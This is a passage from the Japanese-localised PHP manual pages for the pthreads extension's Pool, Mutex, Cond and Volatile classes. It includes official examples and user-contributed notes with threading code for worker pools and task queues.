            var_dump($config);
        });
    }
}
class Task extends Stackable{    // Stackable still exists, it's just somehow dissappeared from docs (probably by mistake). See older version's docs for more details.
    protected $set;
    public function __construct($set){
        $this->set = $set;
    }
    public function run(){
        global $worker_id;
        echo "task is running in {$worker_id}!\n";
        usleep(mt_rand(1,100)*100);
        $config = $this->getConfig();
        $val = $config->arr->shift();
        $config->arr[] = $this->set;
        for ($i = 0 ; $i < 1000; ++$i){
            $config->inc();
            $config->inc2();
        }
    }
    public function getConfig(){
        global $config;    // WorkerClass set this on thread's scope, can be reused by Tasks for additional asynch data source. (ie: connection pool or taskqueue to demultiplexer)
        return $config;
    }
}

$config = new Config;
$config->arr = new \Threaded();
$config->arr->merge(array(1,2,3,4,5,6));
class PoolClass extends Pool{
    public function worker_list(){
        if ($this->workers !== null)
            return array_keys($this->workers);
        return null;
    }
}
$pool = new PoolClass(3, 'WorkerClass', [$config] );
$pool->worker_list();
//$pool->submitTo(0,new Task(-10));    // submitTo DOES NOT try to create worker

$spammed_id = -1;
for ($i = 1; $i <= 100; ++$i){    // add some jobs
    if ($spammed_id == -1 && ($x = $pool->worker_list())!= null && @$x[2]){
        $spammed_id = $x[2];
        echo "spamming worker {$spammed_id} with lots of tasks from now on\n";
    }
    if ($spammed_id != -1 && ($i % 5) == 0)    // every 5th job is routed to one worker, so it has 20% of the total jobs (with 3 workers it should do ~33%, not it has (33+20)%, so only delegate to worker if you plan to do balancing as well... )
        $pool->submitTo($spammed_id,new Task(10*$i));
    else
        $pool->submit(new Task(10*$i));
}
$pool->shutdown();
var_dump($config); // "val" is exactly 100000, "val2" is probably a bit less
// also: if you disable the spammer, you'll that the order of the "arr" is random.
?>


Collect references to completed tasks

  • ≪ Pool
  • Pool::__construct ≫
  • PHP Manual
  • Pool
  • Collect references to completed tasks

Pool::collect

(PECL pthreads >= 2.0.0)

Pool::collect — Collect references to completed tasks

説明

public Pool::collect ( Callable $collector = ? ) : int

Allows the pool to collect references determined to be garbage by the optionally given collector.

パラメータ

collector

A Callable collector that returns a boolean on whether the task can be collected or not. Only in rare cases should a custom collector need to be used.

返り値

The number of remaining tasks in the pool to be collected.

変更履歴

バージョン | 説明
v3 | An integer is now returned, and the collector parameter is now optional.

例

例1 A basic example of Pool::collect()

<?php
$pool = new Pool(4);

for ($i = 0; $i < 15; ++$i) {
    $pool->submit(new class extends Threaded {});
}

while ($pool->collect()); // blocks until all tasks have finished executing

$pool->shutdown();

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 06:00
In this example, it shows how to use a Threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
l00k at protonmail dot com 02-Dec-2017 04:05
This example demonstrates various aspects of MTP with pthreads - esspecially worth of note is bidirectional communication with child threads.
I could not find anything about that so I would like to present you my research result.

<?php

class Model
{

    public $id;
    public $value;

}

class Connection
    extends Worker
{

    protected static $link;

    public function __construct($hostname, $username, $password, $database, $port = 3306)
    {
        $this->hostname = $hostname;
        $this->username = $username;
        $this->password = $password;
        $this->database = $database;
        $this->port = $port;
    }

    public function getConnection()
    {
        if(!self::$link)
        {
            echo 'Thread: '. $this->getThreadId() ." Connecting to db\n";
            self::$link = new \PDO(...);
        }

        return self::$link;
    }

}

/** @property Connection $worker */
class QueryTask
    extends Threaded
{

    public $data;
    public $result;

    protected $_complete;

    public function __construct(Model $data)
    {
        $this->_complete = false;
        $this->data = $data;
    }

    public function run()
    {
        /** @var \PDO $pdo */
        $pdo = $this->worker->getConnection();

        $text = 'Thread: '. $this->worker->getThreadId() .' Job: '. $this->data->id .' Data: '. $this->data->value;

        $t = microtime(true);

        $stmt = $pdo->prepare("
            INSERT INTO `test` (`id`, `text`) VALUES (NULL, '". $text ."')
        ");
        $stmt->execute();

        $dt = microtime(true) - $t;

        $result = (int) $stmt->rowCount();

        echo $text .' Result: '. $result .' Exec time: '. $dt ."s\n";

        $this->result = $result;
        $this->_complete = true;
    }

    public function isGarbage() : bool
    {
        return $this->_complete;
    }

}

$t = microtime(true);

// uruchomienie
$pool = new Pool(5, 'Connection', [ 'localhost', 'root', 'password', 'test' ]);

// zadania
$tasks = 10;

for($i=0; $i<$tasks; ++$i)
{
    $object = new Model();
    $object->id = $i;
    $object->value = rand();

    $pool->submit(new QueryTask($object));
}

// oczekiwanie na zakonczenie
$data = [];

while(1)
{
    $newData = [];

    $pool->collect(function(QueryTask $task) use (&$newData) {
        if($task->isGarbage())
        {
            $tmpObj = new stdclass();
            $tmpObj->complete = $task->complete;

            $newData[ $task->data->id ] = $task->data->value;
        }

        return $task->isGarbage();
    });

    $data = array_merge($data, $newData);

    if(count($data) == $tasks)
        break;

    usleep(100000);
}

var_dump($data);
?>

Result:
Thread: 6796 Connecting to db
Thread: 3156 Connecting to db
Thread: 9040 Connecting to db
Thread: 7748 Connecting to db
Thread: 8836 Connecting to db
Job: 0 Done in: 0.0070011615753174s
Job: 4 Done in: 0.0069999694824219s
Job: 2 Done in: 0.0090010166168213s
Job: 3 Done in: 0.0090010166168213s
Job: 1 Done in: 0.003000020980835s
Job: 5 Done in: 0.0069999694824219s
Job: 7 Done in: 0.0079998970031738s
Job: 6 Done in: 0.0049998760223389s
Job: 9 Done in: 0.0079998970031738s
Job: 8 Done in: 0.0069999694824219s

array(10) {
  [0] =>
  int(17730)
  [1] =>
  int(18771)
  [2] =>
  int(12944)
  [3] =>
  int(6025)
  [4] =>
  int(29582)
  [5] =>
  int(10159)
  [6] =>
  int(26556)
  [7] =>
  int(9029)
  [8] =>
  int(15002)
  [9] =>
  int(4043)
}

Things worth noting here:
1. Constructing of 5 workers for 10 tasks. 5 last task are runned on existing threads with already set up connection to db.
2. You can "send" data to thread by creating new task and submiting it.
3. You can retrive result by collect function.
4. You can pass simple object to task constructor.
meadowsjared at gmail dot com 14-Mar-2016 07:13
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
your dot brother dot t at hotmail dot com 29-Dec-2014 09:33
The example code crashes and made me waste 2 working days
First of all, `Stackable` has no attribute named $worker or it's access method made it inaccessible.

Secondly, `Stackable` also doesn't have `getThreadId()` . It's best practice to use `Thread` class for realization of a thread since it has more control functions. It's better to use `Stackable` for object storage and use it's `run()` as its initialization.

The working example is

<?php
    class MyWork extends Thread {
        protected $complete;

        public function __construct() {
            $this->complete = false;
        }

        public function run() {
            printf(
                "Hello from %s in Thread #%lu\n",
                __CLASS__, $this->getThreadId());
            $this->complete = true;
        }

        public function isComplete() {
            return $this->complete;
        }
    }

    class Something {}

    class MyWorker extends Worker {

        public function __construct(Something $something) {
            $this->something = $something;
        }

        public function run() {
            /** ... **/
        }
    }

    $pool = new Pool(8, \MyWorker::class, [new Something()]);
    $pool->submit(new MyWork());

    usleep(1000);

    $pool->collect(function($work){
        return $work->isComplete();
    });
    var_dump($pool);
?>


Creates a new Pool of Workers

  • ≪ Pool::collect
  • Pool::resize ≫
  • PHP Manual
  • Pool
  • Creates a new Pool of Workers

Pool::__construct

(PECL pthreads >= 2.0.0)

Pool::__construct — Creates a new Pool of Workers

説明

public Pool::__construct ( int $size , string $class = ? , array $ctor = ? ) : Pool

Construct a new pool of workers. Pools lazily create their threads, which means new threads will only be spawned when they are required to execute tasks.

パラメータ

size

The maximum number of workers for this pool to create

class

The class for new Workers. If no class is given, then it defaults to the Worker class.

ctor

An array of arguments to be passed to new workers' constructors

返り値

The new pool

例

例1 Creating Pools

<?php
class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);

var_dump($pool);
?>

上の例の出力は以下となります。

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  NULL
  ["work":protected]=>
  NULL
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Resize the Pool

  • ≪ Pool::__construct
  • Pool::shutdown ≫
  • PHP Manual
  • Pool
  • Resize the Pool

Pool::resize

(PECL pthreads >= 2.0.0)

Pool::resize — Resize the Pool

説明

public Pool::resize ( int $size ) : void

Resize the Pool

パラメータ

size

The maximum number of Workers this Pool can create

返り値

void

User Contributed Notes

There are no user contributed notes for this page.


Shutdown all workers

  • ≪ Pool::resize
  • Pool::submit ≫
  • PHP Manual
  • Pool
  • Shutdown all workers

Pool::shutdown

(PECL pthreads >= 2.0.0)

Pool::shutdown — Shutdown all workers

説明

public Pool::shutdown ( ) : void

Shuts down all of the workers in the pool. This will block until all submitted tasks have been executed.

パラメータ

この関数にはパラメータはありません。

返り値

No value is returned.

例

例1 Shutting down a pool

<?php
class Task extends Threaded
{
    public function run()
    {
        usleep(500000);
    }
}

$pool = new Pool(4);

for ($i = 0; $i < 10; ++$i) {
    $pool->submit(new Task());
}

$pool->shutdown(); // blocks until all submitted tasks have finished executing

User Contributed Notes

There are no user contributed notes for this page.


Submits an object for execution

  • ≪ Pool::shutdown
  • Pool::submitTo ≫
  • PHP Manual
  • Pool
  • Submits an object for execution

Pool::submit

(PECL pthreads >= 2.0.0)

Pool::submit — Submits an object for execution

説明

public Pool::submit ( Threaded $task ) : int

Submit the task to the next Worker in the Pool

パラメータ

task

The task for execution

返り値

the identifier of the Worker executing the object

例

例1 Submitting Tasks

<?php
class MyWork extends Threaded {

    public function run() {
        /* ... */
    }
}

class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());
var_dump($pool);
?>

上の例の出力は以下となります。

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(1) {
    [0]=>
    object(MyWork)#3 (1) {
      ["worker"]=>
      object(MyWorker)#5 (1) {
        ["something"]=>
        object(Something)#6 (0) {
        }
      }
    }
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Submits a task to a specific worker for execution

  • ≪ Pool::submit
  • Mutex ≫
  • PHP Manual
  • Pool
  • Submits a task to a specific worker for execution

Pool::submitTo

(PECL pthreads >= 2.0.0)

Pool::submitTo — Submits a task to a specific worker for execution

説明

public Pool::submitTo ( int $worker , Threaded $task ) : int

Submit a task to the specified worker in the pool. The workers are indexed from 0, and will only exist if the pool has needed to create them (since threads are lazily spawned).

パラメータ

worker

The worker to stack the task onto, indexed from 0.

task

The task for execution.

返り値

The identifier of the worker that accepted the task.

例

例1 Submitting tasks to a specific worker

<?php
class Task extends Threaded {
    public function run() {
        var_dump(Thread::getCurrentThreadID());
    }
}

$pool = new Pool(2);

$pool->submit(new Task());

for ($i = 0; $i < 5; ++$i) {
    $pool->submitTo(0, new Task()); // stack all tasks onto the first worker
}

$pool->submitTo(1, new Task()); // cannot stack the task onto the second worker due to it not existing yet

$pool->shutdown();

上の例の出力は以下となります。

int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)

Fatal error: Uncaught Exception: The selected worker (1) does not exist in %s:%d

User Contributed Notes

There are no user contributed notes for this page.


The Mutex class

(PECL pthreads < 3.0.0)

はじめに

警告

The Mutex class has been removed in pthreads v3.

The static methods contained in the Mutex class provide direct access to Posix Mutex functionality.

クラス概要

Mutex {
/* メソッド */
final public static create ( bool $lock = ? ) : int
final public static destroy ( int $mutex ) : bool
final public static lock ( int $mutex ) : bool
final public static trylock ( int $mutex ) : bool
final public static unlock ( int $mutex , bool $destroy = ? ) : bool
}

目次

  • Mutex::create — Create a Mutex
  • Mutex::destroy — Destroy Mutex
  • Mutex::lock — Acquire Mutex
  • Mutex::trylock — Attempt to Acquire Mutex
  • Mutex::unlock — Release Mutex

User Contributed Notes

There are no user contributed notes for this page.


Create a Mutex

  • ≪ Mutex
  • Mutex::destroy ≫
  • PHP Manual
  • Mutex
  • Create a Mutex

Mutex::create

(PECL pthreads < 3.0.0)

Mutex::create — Create a Mutex

警告

The Mutex class has been removed in pthreads v3.

説明

final public static Mutex::create ( bool $lock = ? ) : int

Create, and optionally lock a new Mutex for the caller

パラメータ

lock

Setting lock to true will lock the Mutex for the caller before returning the handle

返り値

A newly created and optionally locked Mutex handle

例

例1 Mutex Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You have the physical address of the Mutex **/
var_dump($mutex);
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

int(40096976)

User Contributed Notes

There are no user contributed notes for this page.


Destroy Mutex

  • ≪ Mutex::create
  • Mutex::lock ≫
  • PHP Manual
  • Mutex
  • Destroy Mutex

Mutex::destroy

(PECL pthreads < 3.0.0)

Mutex::destroy — Destroy Mutex

警告

The Mutex class has been removed in pthreads v3.

説明

final public static Mutex::destroy ( int $mutex ) : bool

Destroying Mutex handles must be carried out explicitly by the programmer when they are finished with the Mutex handle.

パラメータ

mutex

A handle returned by a previous call to Mutex::create(). The handle should not be locked by any Thread when Mutex::destroy() is called.

返り値

A boolean indication of success

例

例1 Mutex Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You have the physical address of the Mutex **/
var_dump($mutex);
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

int(40096976)

User Contributed Notes

There are no user contributed notes for this page.


Acquire Mutex

  • ≪ Mutex::destroy
  • Mutex::trylock ≫
  • PHP Manual
  • Mutex
  • Acquire Mutex

Mutex::lock

(PECL pthreads < 3.0.0)

Mutex::lock — Acquire Mutex

警告

The Mutex class has been removed in pthreads v3.

説明

final public static Mutex::lock ( int $mutex ) : bool

Attempt to lock the Mutex for the caller.

An attempt to lock a Mutex owned (locked) by another Thread will result in blocking.

パラメータ

mutex

A handle returned by a previous call to Mutex::create().

返り値

A boolean indication of success.

例

例1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now lock the mutex in any context **/
var_dump(Mutex::lock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Attempt to Acquire Mutex

  • ≪ Mutex::lock
  • Mutex::unlock ≫
  • PHP Manual
  • Mutex
  • Attempt to Acquire Mutex

Mutex::trylock

(PECL pthreads < 3.0.0)

Mutex::trylock — Attempt to Acquire Mutex

警告

The Mutex class has been removed in pthreads v3.

説明

final public static Mutex::trylock ( int $mutex ) : bool

Attempt to lock the Mutex for the caller without blocking if the Mutex is owned (locked) by another Thread.

パラメータ

mutex

A handle returned by a previous call to Mutex::create().

返り値

A boolean indication of success.

例

例1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now try to lock the mutex in any context **/
var_dump(Mutex::trylock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Release Mutex

  • ≪ Mutex::trylock
  • Cond ≫
  • PHP Manual
  • Mutex
  • Release Mutex

Mutex::unlock

(PECL pthreads < 3.0.0)

Mutex::unlock — Release Mutex

警告

The Mutex class has been removed in pthreads v3.

説明

final public static Mutex::unlock ( int $mutex , bool $destroy = ? ) : bool

Attempts to unlock the Mutex for the caller, optionally destroying the Mutex handle. The calling thread should own the Mutex at the time of the call.

パラメータ

mutex

A handle returned by a previous call to Mutex::create().

destroy

When true pthreads will destroy the Mutex after a successful unlock.

返り値

A boolean indication of success.

例

例1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now lock the mutex in any context **/
var_dump(Mutex::lock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


The Cond class

(PECL pthreads < 3.0.0)

はじめに

警告

The Cond class has been removed in pthreads v3.

The static methods contained in the Cond class provide direct access to Posix Condition Variables.

クラス概要

Cond {
/* メソッド */
final public static broadcast ( int $condition ) : bool
final public static create ( ) : int
final public static destroy ( int $condition ) : bool
final public static signal ( int $condition ) : bool
final public static wait ( int $condition , int $mutex , int $timeout = ? ) : bool
}

目次

  • Cond::broadcast — Broadcast a Condition
  • Cond::create — Create a Condition
  • Cond::destroy — Destroy a Condition
  • Cond::signal — Signal a Condition
  • Cond::wait — Wait for Condition

User Contributed Notes

312036773 at qq dot com 20-Dec-2015 06:39
public function run(){
        Mutex::lock($this->mutex);
        if($this->account->getBalance() >= drawCost){
            usleep ( 500 );
            $this->account->draw(drawCost);
            echo \Thread::getCurrentThreadId () . "__get__" . drawCost . ",The current Balance is:{$this->account->getBalance()}<br/>";
            Cond::broadcast($this->cond);
        }
        else {
            echo \Thread::getCurrentThreadId () . "__get fail__,the current Balance is:{$this->account->getBalance()}<br/>";

//Use Wait Can be not Running......Why ???

            Cond::wait($this->cond,$this->mutex);
        }
        Mutex::unlock($this->mutex);
  }
jan 25-May-2013 01:11
As Cond (nor Mutex) is good for queuing tasks, and arrays/objects stored a "serialized" (can't use it as excepted for signals outside the run()) here is a simple task queue trait:
<?php
define('T',1000000);
trait TaskQueue{
    private $queue_len = 0;
    private $queue_pointer = 0;
    private $queue_curr = 0;
    protected function queueInit(){$this->queue_len = 0; $this->queue_pointer = 0; $this->queue_curr = 0;}
    protected function getNextQueued(){
        if ($this->queue_len == 0) return null;
        $p = $this->queue_curr;
        $x = 0;
        $ret = [];
        do{
            $key = "queue_func_{$p}";
            if ($this->$key){
                $ret['func'] = $this->$key;
                unset($this->$key);
                $key = "queue_params_{$p}";
                $prs = $this->$key;
                unset($this->$key);
                $ret['params'] = [];
                for ($i = 0; $i < $prs; $i++){
                    $key = "queue_param_{$p}_{$i}";
                    $ret['params'][] =  $this->$key;
                    unset($this->$key);
                }
                $this->queue_len--;
                $this->queue_curr++;
                return $ret;
            }
            else $p++;
            if ($x++ > 1000){   // the queue is corrupt
                echo "\n\t\t task queue is corrupt for ".get_called_class()."\n";
                $this->queue_len = 0;
                $this->queue_pointer = 0;
                return null;
            }
        }while(isset($this->$key));
        return null;

    }
    protected function addToQueue($func,$params = []){
        if (!is_array($params) || !@method_exists($this,$func)) return false;
        $p = $this->queue_pointer;
        $key = "queue_func_{$p}";
        $this->$key = $func;
        $key = "queue_params_{$p}";
        $this->$key = count($params);
        $i = 0;
        foreach ($params as $pa){
            $key = "queue_param_{$p}_{$i}";
            $this->$key = $pa;
            $i++;
        }
        $this->queue_pointer++;
        $this->queue_len++;
        return true;
    }
}

class A extends Thread{
    use TaskQueue;
    private $sig_term;
    public function __construct(){
        $this->cond = Cond::create();
        $this->sig_term = false;
        $this->queueInit(); // threads don't like default parameters
        $this->start();
    }

    public function run(){
        while(!$this->sig_term){
            while(($qi = $this->getNextQueued())){
                call_user_func_array([$this,$qi['func']],$qi['params']);
            }
            echo "now doing MAIN -- ";
            usleep(1*T);
            echo "finished MAIN\n";
        }
        Mutex::destroy($m);
    }

    private function reallyDoA($a){
        echo "doing A: {$a} -- ";
        usleep(0.7*T);
        echo "finished A\n";

    }
    public function doA($param1){
        $this->addToQueue('reallyDoA',[$param1]);
    }
    private function reallyDoB($a,$b){
        echo "doing B: {$a},{$b} -- ";
        usleep(0.1*T);
        echo "finished B\n";

    }
    public function doB($param1, $param2){
        $this->addToQueue('reallyDoB',[$param1,$param2]);
    }
    public function term(){$this->sig_term = true;}
}

$a = new A();
usleep(1.2*T);
$a->doA(2);
$a->doA(3);
$a->doB("now b","something");
usleep(5.4*T);
$a->doA(5);
$a->doA(7);

usleep(3*T);
$a->term();
$a->join();
?>
very useful if you need syncronization from an outside event (ie: async socket read/write - your run() takes care of reading with timeout / signalig on_packet events, but writing may occur at any time (ie async heartbeeting) and fwrite($sock) while stream_select($sock) is waiting for timeout causes segfaults...)


Broadcast a Condition

  • ≪ Cond
  • Cond::create ≫
  • PHP Manual
  • Cond
  • Broadcast a Condition

Cond::broadcast

(PECL pthreads < 3.0.0)

Cond::broadcast — Broadcast a Condition

警告

The Cond class has been removed in pthreads v3.

説明

final public static Cond::broadcast ( int $condition ) : bool

Broadcast to all Threads blocking on a call to Cond::wait().

パラメータ

condition

A handle to a Condition Variable returned by a previous call to Cond::create()

返り値

A boolean indication of success.

例

例1 Condition Broadcasting

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::broadcast($cond));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Create a Condition

  • ≪ Cond::broadcast
  • Cond::destroy ≫
  • PHP Manual
  • Cond
  • Create a Condition

Cond::create

(PECL pthreads < 3.0.0)

Cond::create — Create a Condition

警告

The Cond class has been removed in pthreads v3.

説明

final public static Cond::create ( ) : int

Creates a new Condition Variable for the caller.

パラメータ

この関数にはパラメータはありません。

返り値

A handle to a Condition Variable

例

例1 Condition Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** You can now use the Cond in any context **/
var_dump($cond);
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

上の例の出力は以下となります。

int(4540682)

User Contributed Notes

There are no user contributed notes for this page.


Destroy a Condition

  • ≪ Cond::create
  • Cond::signal ≫
  • PHP Manual
  • Cond
  • Destroy a Condition

Cond::destroy

(PECL pthreads < 3.0.0)

Cond::destroy — Destroy a Condition

警告

The Cond class has been removed in pthreads v3.

説明

final public static Cond::destroy ( int $condition ) : bool

Destroying Condition Variable handles must be carried out explicitly by the programmer when they are finished with the Condition Variable. No Threads should be blocking on a call to Cond::wait() when the call to Cond::destroy() takes place.

パラメータ

condition

A handle to a Condition Variable returned by a previous call to Cond::create()

返り値

A boolean indication of success.

例

例1 Condition Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** You can now use the Cond in any context **/
var_dump($cond);
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

上の例の出力は以下となります。

int(4540682)

User Contributed Notes

There are no user contributed notes for this page.


Signal a Condition

  • ≪ Cond::destroy
  • Cond::wait ≫
  • PHP Manual
  • Cond
  • Signal a Condition

Cond::signal

(PECL pthreads < 3.0.0)

Cond::signal — Signal a Condition

警告

The Cond class has been removed in pthreads v3.

説明

final public static Cond::signal ( int $condition ) : bool

パラメータ

condition

A handle returned by a previous call to Cond::create()

返り値

A boolean indication of success.

例

例1 Condition Signalling

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::signal($cond));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Wait for Condition

  • ≪ Cond::signal
  • Volatile ≫
  • PHP Manual
  • Cond
  • Wait for Condition

Cond::wait

(PECL pthreads < 3.0.0)

Cond::wait — Wait for Condition

警告

The Cond class has been removed in pthreads v3.

説明

final public static Cond::wait ( int $condition , int $mutex , int $timeout = ? ) : bool

Wait for a signal on a Condition Variable, optionally specifying a timeout to limit waiting time.

パラメータ

condition

A handle returned by a previous call to Cond::create().

mutex

A handle returned by a previous call to Mutex::create() and owned (locked) by the caller.

timeout

An optional timeout, in microseconds ( millionths of a second ).

返り値

A boolean indication of success.

例

例1 Waiting for Conditions

<?php
/** PLEASE NOTE THIS EXAMPLE WILL CAUSE THE PROCESS TO HANG **/
$mutex = Mutex::create(true);
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::wait($cond, $mutex));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
Mutex::unlock($mutex);
Mutex::destroy($mutex);
?>

上の例の出力は以下となります。

int(49685473)

User Contributed Notes

There are no user contributed notes for this page.


The Volatile class

(PECL pthreads >= 3.0.0)

はじめに

The Volatile class is new to pthreads v3. Its introduction is a consequence of the new immutability semantics of Threaded members of Threaded classes. The Volatile class enables for mutability of its Threaded members, and is also used to store PHP arrays in Threaded contexts.

クラス概要

Volatile extends Threaded implements Collectable , Traversable {
/* 継承したメソッド */
public Threaded::chunk ( int $size , bool $preserve ) : array
public Threaded::count ( ) : int
public Threaded::extend ( string $class ) : bool
public Threaded::from ( Closure $run , Closure $construct = ? , array $args = ? ) : Threaded
public Threaded::getTerminationInfo ( ) : array
public Threaded::isRunning ( ) : bool
public Threaded::isTerminated ( ) : bool
public Threaded::isWaiting ( ) : bool
public Threaded::lock ( ) : bool
public Threaded::merge ( mixed $from , bool $overwrite = ? ) : bool
public Threaded::notify ( ) : bool
public Threaded::notifyOne ( ) : bool
public Threaded::pop ( ) : bool
public Threaded::run ( ) : void
public Threaded::shift ( ) : mixed
public Threaded::synchronized ( Closure $block , mixed ...$args ) : mixed
public Threaded::unlock ( ) : bool
public Threaded::wait ( int $timeout = ? ) : bool
}

例

例1 New immutability semantics of Threaded

<?php

class Task extends Threaded
{
    public function __construct()
    {
        $this->data = new Threaded();

        // attempt to overwrite a Threaded property of a Threaded class (invalid)
        $this->data = new StdClass();
    }
}

var_dump((new Task())->data);

上の例の出力は、 たとえば以下のようになります。

RuntimeException: Threaded members previously set to Threaded objects are immutable, cannot overwrite data in %s:%d

例2 Volatile use-case

<?php

class Task extends Volatile
{
    public function __construct()
    {
        $this->data = new Threaded();

        // attempt to overwrite a Threaded property of a Volatile class (valid)
        $this->data = new StdClass();
    }
}

var_dump((new Task())->data);

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#3 (0) {
}

User Contributed Notes

synnus at gmail dot com 02-Oct-2019 06:29
<?php

// just use extends  volatile for use array
// is verry good

class libvar extends Volatile
{
    private $_adresse = '127.0.0.1';
    private $_port = 10000;

    public $socket;
    public $list_socket = array();
    public $list_error = array();

    public function __construct(){ }

    public function set_list($val) { $ct = count($this->list_socket); $this->list_socket[ $ct ] = $val; return $ct; }
    public function set_socket($val) { $this->socket = $val; return $this->socket; }
    public function set_error($val) { $this->list_error[ count($this->list_error) ] = $val; }

    public function unset_list($val) { unset($this->list_error[ $val ]); }

